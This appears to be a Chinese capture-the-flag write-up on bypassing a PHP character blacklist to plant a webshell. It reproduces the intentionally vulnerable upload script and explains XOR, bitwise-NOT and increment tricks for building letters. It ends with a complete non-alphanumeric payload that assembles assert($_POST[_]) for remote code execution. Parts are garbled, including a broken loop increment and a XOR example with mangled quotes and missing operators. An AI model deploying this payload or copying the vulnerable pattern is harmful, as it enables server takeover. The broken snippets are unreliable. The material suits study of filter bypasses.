利用特殊字符getshell
利用特殊字符getshell:
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $id+ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
?>
可以看到代码对正常的字符(a-zA-Z)以及数字还有一些特殊的符号等进行了过滤。
那么如何在过滤了正常字符加上一些特殊符号的时候依然可以构造出我们需要的webshell字符呢?
大概思路是三种方法:1.其他字符异或。2.取汉字字符某位然后取反得到对应字母。3.利用数组特性结合php字符自增特点进行全字母可构造
这里的1和2方法都属于位运算法,3是利用数组拼接特性加php的特性。
变量名都采用_的形式
1:
$_=(’%01’^’`’)
%01的ascii从二进制来看是0000 0001 开单引号的ascii码二进制是0110 0000所以两者进行异或后的结果是0110 0001转换成十进制来看的结果就是%61即ascii中的a
根据这方法可以对所有的字母和符号进行构造得到目的字符串:例如:
$__='_'.('%0D'^']').('%2F'^'
).(’%0E’’]’).(’%09’’]’); //
$__=’_POST’;`
2:汉子某字符位取反得到对应字母:用法为~(“汉子”{位数});
本地使用时发现直接用这样的方法会报错 需要将两者都先赋值到变量中才可以得到对应字符
3:数组特性指的是在php中如果强制用字符连接数组那么会变成字符拼接Array字样,自增特性是指php中可以通过变量的自增实现该变量ascii码值的自增。
<?php
$a=[];
$a=@"$_"; // $_='Array';
$a=$a['!'=='@']; // $a=$a[0];
$b=$a; // A
echo $b;
echo $b++;//A
echo $b++;//B
echo $b++;//C
echo $b++;//D
通过这样的方法可以列举出每个字符,因为在Array字符中刚好存在A和a这两个开头字符,字符这种特性只在自增中有,不存在自减的情况。
此类题目思路
此题用3的思路来结题的payload:
<?php
$_='';$_[+$_]++;
$_=$_.'';
$__=$_[+''];
$_ = $__;
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_=$$____;
$___($_[_]);